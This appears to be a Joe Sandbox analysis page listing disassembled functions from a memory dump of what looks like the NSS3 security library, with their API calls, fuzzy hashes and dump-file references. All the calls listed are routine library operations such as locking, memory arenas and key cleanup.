Instruction ID: 287ae32bb93383e8cf11995601b6fa63c58c7ac8ffad63576916c82d28b50104
Opcode Fuzzy Hash: c95cd2eff4d934888c7f58709d5dec9586a899dc54b9b812b98d461a60438f19
Instruction Fuzzy Hash: C021E4B1E102019EFF60DF3BD907B2A3BACE716348F044025D909D7681EB3AD198CB62

Function 6BA98A60 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6BA461C4,?,6BA45F9C,00000000), ref: 6BA98A81
TlsGetValue.KERNEL32(?,?,?,6BA45F9C,00000000), ref: 6BA98A9E
EnterCriticalSection.KERNEL32(?,?,?,?,6BA45F9C,00000000), ref: 6BA98AB7
PR_Unlock.NSS3(?,?,?,?,?,6BA45F9C,00000000), ref: 6BA98AD2
PR_NotifyCondVar.NSS3(?,?,?,?,?,6BA45F9C,00000000), ref: 6BA98B05
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,6BA45F9C,00000000), ref: 6BA98B18

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CondNotifyValue$CriticalEnterSectionUnlock
String ID:
API String ID: 1007705821-0
Opcode ID: f18d9b853094206d7cd19025af3e379f5194404803c8370535a43c96fdfbd281
Instruction ID: 4a5a985ee13cb87cbca0dab928f4aca5c18f9e235e8c9d2086c5f8f91dc33d2e
Opcode Fuzzy Hash: f18d9b853094206d7cd19025af3e379f5194404803c8370535a43c96fdfbd281
Instruction Fuzzy Hash: 0C214DB1914604CFDF20BF38D145629BBF0FB06384F0A4A69D895C7600E738E8C4DB92

Function 6BA94820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6BA94EB8,?), ref: 6BA94884

Part of subcall function 6BA98800: TlsGetValue.KERNEL32(?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA98821
Part of subcall function 6BA98800: TlsGetValue.KERNEL32(?,?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA9883D
Part of subcall function 6BA98800: EnterCriticalSection.KERNEL32(?,?,?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA98856
Part of subcall function 6BA98800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6BA98887
Part of subcall function 6BA98800: PR_Unlock.NSS3(?,?,?,?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA98899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6BA94EB8,?,?,?,?,?,?,?,?,?,?,6BA578F8), ref: 6BA9484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6BA94EB8,?,?,?,?,?,?,?,?,?,?,6BA578F8), ref: 6BA9486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6BA578F8), ref: 6BA94899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA948A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA948B8

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: 9464c9ee6acb5f2e42ca378cf330b64320dd59151f40de4e60939f266c2e7ff8
Instruction ID: 926c4f91108b07a5dd96ae8bf8c8d0931b5c1170d92c2a8518ae92a546d63901
Opcode Fuzzy Hash: 9464c9ee6acb5f2e42ca378cf330b64320dd59151f40de4e60939f266c2e7ff8
Instruction Fuzzy Hash: 3F212976E20240A7EF207E75FD8252A77E8EF06749B088464DE1587202EF26E89097B1

Function 6BA89850 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6BA8985B

Part of subcall function 6BAA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BA487ED,00000800,6BA3EF74,00000000), ref: 6BAA1000
Part of subcall function 6BAA0FF0: PR_NewLock.NSS3(?,00000800,6BA3EF74,00000000), ref: 6BAA1016
Part of subcall function 6BAA0FF0: PL_InitArenaPool.NSS3(00000000,security,6BA487ED,00000008,?,00000800,6BA3EF74,00000000), ref: 6BAA102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000038), ref: 6BA89871

Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA10F3
Part of subcall function 6BAA10C0: EnterCriticalSection.KERNEL32(?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA110C
Part of subcall function 6BAA10C0: PL_ArenaAllocate.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1141
Part of subcall function 6BAA10C0: PR_Unlock.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1182
Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA119C

SEC_ASN1DecodeItem_Util.NSS3(00000000,00000000,6BB6D9B0,?), ref: 6BA898A2

Part of subcall function 6BA9E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6BA9E245
Part of subcall function 6BA9E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6BA9E254

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6BA898B7
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6BA89901
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6BA89910

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Arena_$ArenaFree$ErrorValue$Alloc_AllocateCriticalDecodeEnterInitItem_LockPoolSectionUnlockcalloc
String ID:
API String ID: 2561846027-0
Opcode ID: 17399e6ce088096056b365863b3b5b20b7de77872785efac2cf32b954bbffd20
Instruction ID: 4e7523f0e3924cdb4558ba04837dcba155c76f35bd0181f8f5cc73ca7d4323f9
Opcode Fuzzy Hash: 17399e6ce088096056b365863b3b5b20b7de77872785efac2cf32b954bbffd20
Instruction Fuzzy Hash: 4A11367290020577FF004E74AE82FBA3A58EF557A8F091260FD186A1D2F779CCE087A1

Function 6BAD9B50 Relevance: 9.1, APIs: 6, Instructions: 70memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3 ref: 6BAD9B73

Part of subcall function 6BAA0D30: calloc.MOZGLUE ref: 6BAA0D50
Part of subcall function 6BAA0D30: TlsGetValue.KERNEL32 ref: 6BAA0D6D

PORT_ZAlloc_Util.NSS3 ref: 6BAD9B96
TlsGetValue.KERNEL32(6BAC847D,?), ref: 6BAD9BC2
SECKEY_DestroyPrivateKey.NSS3 ref: 6BAD9BF3
SECKEY_DestroyPublicKey.NSS3 ref: 6BAD9BFE
free.MOZGLUE ref: 6BAD9C06

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Alloc_DestroyUtilValue$PrivatePubliccallocfree
String ID:
API String ID: 534788125-0
Opcode ID: 7b58797145ea5c7cdd0f49368dd4b663374bcb178db026543db8f309eb2306c6
Instruction ID: 4a8d7a747c844f9c4f106703242c6f1f466960d38508ddde55848728a6e0ea4a
Opcode Fuzzy Hash: 7b58797145ea5c7cdd0f49368dd4b663374bcb178db026543db8f309eb2306c6
Instruction Fuzzy Hash: 822189B19046008FDF10AF39C689769BBE4FF05744F0686AAD8988B292D73CD4D0CB92

Function 6BA589E0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6BA588AE,-00000008), ref: 6BA58A04
EnterCriticalSection.KERNEL32(?), ref: 6BA58A15
memset.VCRUNTIME140(6BA588AE,00000000,00000132), ref: 6BA58A27
PR_Unlock.NSS3(?), ref: 6BA58A35
memset.VCRUNTIME140(6BA588AE,00000000,00000132,00000000,-00000008,00000000,?,?,6BA588AE,-00000008), ref: 6BA58A45
free.MOZGLUE(6BA588A6,?,6BA588AE,-00000008), ref: 6BA58A4E

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: memset$CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 65992600-0
Opcode ID: 88201dcac2341c6c1d4b1104d9cbf8ca364c057f16d7f2221dc9d8933a6a1875
Instruction ID: 074cf2f54511fa42a1fecfa53b76a415a58211b8e8709ae2b58d70ec12edcb69
Opcode Fuzzy Hash: 88201dcac2341c6c1d4b1104d9cbf8ca364c057f16d7f2221dc9d8933a6a1875
Instruction Fuzzy Hash: B41104B3D10200ABEF00AF78DD85A6EBB78FF05714F050661EA149B201E736D6A1CBE1

Function 6BA58A90 Relevance: 9.1, APIs: 6, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 6BA58FE0: PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6BA60710), ref: 6BA58FF1
Part of subcall function 6BA58FE0: calloc.MOZGLUE(00000001,00000000,?,?,6BA60710), ref: 6BA5904D
Part of subcall function 6BA58FE0: memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6BA60710), ref: 6BA59066
Part of subcall function 6BA58FE0: PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6BA60710), ref: 6BA59078

TlsGetValue.KERNEL32 ref: 6BA58AC1
EnterCriticalSection.KERNEL32 ref: 6BA58AD6
PL_FinishArenaPool.NSS3 ref: 6BA58AE5
PR_Unlock.NSS3 ref: 6BA58AF7
DeleteCriticalSection.KERNEL32 ref: 6BA58B02
free.MOZGLUE ref: 6BA58B0E

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalPrivateSectionThread$ArenaDeleteEnterFinishPoolUnlockfreememcpy
String ID:
API String ID: 417085867-0
Opcode ID: 0ac41fb524569900c11768d6d235a158c788d5e257f1c29f96cdb084995958dc
Instruction ID: 01e35a5b200037679702200f3a2a61f79c96aed6295916220a8ec0bfdde13c41
Opcode Fuzzy Hash: 0ac41fb524569900c11768d6d235a158c788d5e257f1c29f96cdb084995958dc
Instruction Fuzzy Hash: D31151B24146059FDB00BF78C68962EBBF4FF05344F064569D88587201EB39D5E5CBD2

Function 6BAA9930 Relevance: 9.1, APIs: 6, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00001000), ref: 6BAA993A

Part of subcall function 6BAA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BA487ED,00000800,6BA3EF74,00000000), ref: 6BAA1000
Part of subcall function 6BAA0FF0: PR_NewLock.NSS3(?,00000800,6BA3EF74,00000000), ref: 6BAA1016
Part of subcall function 6BAA0FF0: PL_InitArenaPool.NSS3(00000000,security,6BA487ED,00000008,?,00000800,6BA3EF74,00000000), ref: 6BAA102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000050), ref: 6BAA994B

Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA10F3
Part of subcall function 6BAA10C0: EnterCriticalSection.KERNEL32(?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA110C
Part of subcall function 6BAA10C0: PL_ArenaAllocate.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1141
Part of subcall function 6BAA10C0: PR_Unlock.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1182
Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6BAA9999
PR_SetError.NSS3(FFFFE013,00000000), ref: 6BAA99A7
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6BAA99B2
PK11_GetInternalSlot.NSS3 ref: 6BAA99BE

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: ArenaUtil$Arena_ErrorValue$Alloc_AllocateCriticalEnterFreeInitInternalK11_LockPoolSectionSlotUnlockcalloc
String ID:
API String ID: 3107460537-0
Opcode ID: 000dbfedb6bc53ce957a25a7b56ba80ff67aca8dd236de06f4bfab113265d8f9
Instruction ID: ac138bbeceecbd0aaaebbf5fa70e960b708ba040b00bdfb2e2c0b9975ad8a364
Opcode Fuzzy Hash: 000dbfedb6bc53ce957a25a7b56ba80ff67aca8dd236de06f4bfab113265d8f9
Instruction Fuzzy Hash: 27112331E007416BEF20CF799E41B6AB3D4AFA5B44F014629F889D7261F669F5C08271

Function 6BAD3BD0 Relevance: 9.1, APIs: 6, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6BAD5B40: PR_GetIdentitiesLayer.NSS3 ref: 6BAD5B56

PR_EnterMonitor.NSS3(?), ref: 6BAD3BF9

Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB090AB
Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB090C9
Part of subcall function 6BB09090: EnterCriticalSection.KERNEL32 ref: 6BB090E5
Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB09116
Part of subcall function 6BB09090: LeaveCriticalSection.KERNEL32 ref: 6BB0913F

PR_EnterMonitor.NSS3(?), ref: 6BAD3C10
free.MOZGLUE(?), ref: 6BAD3C26
PORT_Strdup_Util.NSS3(?), ref: 6BAD3C30
PR_ExitMonitor.NSS3(?), ref: 6BAD3C52
PR_ExitMonitor.NSS3(?), ref: 6BAD3C69

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$CriticalExitSection$IdentitiesLayerLeaveStrdup_Utilfree
String ID:
API String ID: 980993467-0
Opcode ID: 5dde30bb62781d45079ecaa103775c24819f1c8c92aa150db4a61f1a302ea047
Instruction ID: 3c30f64424b6c52cfa0edbc48a80e436295beeecd9778103008e2ac42f56f64c
Opcode Fuzzy Hash: 5dde30bb62781d45079ecaa103775c24819f1c8c92aa150db4a61f1a302ea047
Instruction Fuzzy Hash: 470188B56106405FDB305B3EEC02A9BB7F5EB41258F444835E89EC7121EA3AF859C692

Function 6BAAB990 Relevance: 9.1, APIs: 6, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,00000000,?,FFFFFFFF,?,6BAAA78B,?), ref: 6BAAB9A4

Part of subcall function 6BAA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BA487ED,00000800,6BA3EF74,00000000), ref: 6BAA1000
Part of subcall function 6BAA0FF0: PR_NewLock.NSS3(?,00000800,6BA3EF74,00000000), ref: 6BAA1016
Part of subcall function 6BAA0FF0: PL_InitArenaPool.NSS3(00000000,security,6BA487ED,00000008,?,00000800,6BA3EF74,00000000), ref: 6BAA102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000014,?), ref: 6BAAB9B5

Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA10F3
Part of subcall function 6BAA10C0: EnterCriticalSection.KERNEL32(?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA110C
Part of subcall function 6BAA10C0: PL_ArenaAllocate.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1141
Part of subcall function 6BAA10C0: PR_Unlock.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1182
Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA119C

PK11_HashBuf.NSS3(00000004,00000000,E4840FC0,89000000,?,?,?), ref: 6BAAB9D9

Part of subcall function 6BA6DDD0: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6BA6DDEC
Part of subcall function 6BA6DDD0: PK11_DigestBegin.NSS3(00000000), ref: 6BA6DE70
Part of subcall function 6BA6DDD0: PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6BA6DE83
Part of subcall function 6BA6DDD0: HASH_ResultLenByOidTag.NSS3(?), ref: 6BA6DE95
Part of subcall function 6BA6DDD0: PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6BA6DEAE
Part of subcall function 6BA6DDD0: PK11_DestroyContext.NSS3(00000000,00000001), ref: 6BA6DEBB

PR_SetError.NSS3(FFFFE013,00000000,?,?,?), ref: 6BAAB9EC
SGN_CreateDigestInfo_Util.NSS3(00000004,00000000,00000014,?,?,?,?,?,?,?), ref: 6BAAB9FD
PORT_FreeArena_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6BAABA0A

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: K11_Util$Digest$Arena$Arena_Value$Alloc_AllocateBeginContextCreateCriticalDestroyEnterErrorFinalFindFreeHashInfo_InitLockPoolResultSectionTag_Unlockcalloc
String ID:
API String ID: 2979523880-0
Opcode ID: 6af475452566dea36314ae8299f84ba9469c5cb4869aaa8fd19007185aaf2503
Instruction ID: ce7446f197224b3c2d2e6e6848cc18506534f368f20284c9423314439fc6d16f
Opcode Fuzzy Hash: 6af475452566dea36314ae8299f84ba9469c5cb4869aaa8fd19007185aaf2503
Instruction Fuzzy Hash: FF01F2B6A403053BFE1016726D43F6636498BD1799F590270FF18AB192FBA9D98482B1

Function 6BB58910 Relevance: 9.1, APIs: 6, Instructions: 55threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6BB5892E

Part of subcall function 6BA30F00: PR_GetPageSize.NSS3(6BA30936,FFFFE8AE,?,6B9C16B7,00000000,?,6BA30936,00000000,?,6B9C204A), ref: 6BA30F1B
Part of subcall function 6BA30F00: PR_NewLogModule.NSS3(clock,6BA30936,FFFFE8AE,?,6B9C16B7,00000000,?,6BA30936,00000000,?,6B9C204A), ref: 6BA30F25

PR_Lock.NSS3 ref: 6BB58950

Part of subcall function 6BB09BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6BA31A48), ref: 6BB09BB3
Part of subcall function 6BB09BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6BA31A48), ref: 6BB09BC8

getprotobynumber.WSOCK32(?), ref: 6BB58959
GetLastError.KERNEL32(?), ref: 6BB58967
PR_GetCurrentThread.NSS3(?,?), ref: 6BB5896F
PR_Unlock.NSS3(?,?), ref: 6BB5898A

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobynumber
String ID:
API String ID: 4143355744-0
Opcode ID: 9c5c55a8d669be83b7ff43b71626580a522ad62ff23e270138175894c3c3a22b
Instruction ID: fdcd2b589ddc157521a800398226f7dd67a61010dd1d7cc7d599182735e1aaf9
Opcode Fuzzy Hash: 9c5c55a8d669be83b7ff43b71626580a522ad62ff23e270138175894c3c3a22b
Instruction Fuzzy Hash: 28112573D200A09BCB10AF789C0161E7B68EF46734F0502A5EC09972A2C739CC11CBD7

Function 6BA58B50 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6BA60948,00000000), ref: 6BA58B6B
EnterCriticalSection.KERNEL32(?,?,?,6BA60948,00000000), ref: 6BA58B80
PL_FinishArenaPool.NSS3(?,?,?,?,6BA60948,00000000), ref: 6BA58B8F
PR_Unlock.NSS3(?,?,?,?,6BA60948,00000000), ref: 6BA58BA1
DeleteCriticalSection.KERNEL32(?,?,?,?,6BA60948,00000000), ref: 6BA58BAC
free.MOZGLUE(?,?,?,?,?,6BA60948,00000000), ref: 6BA58BB8

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

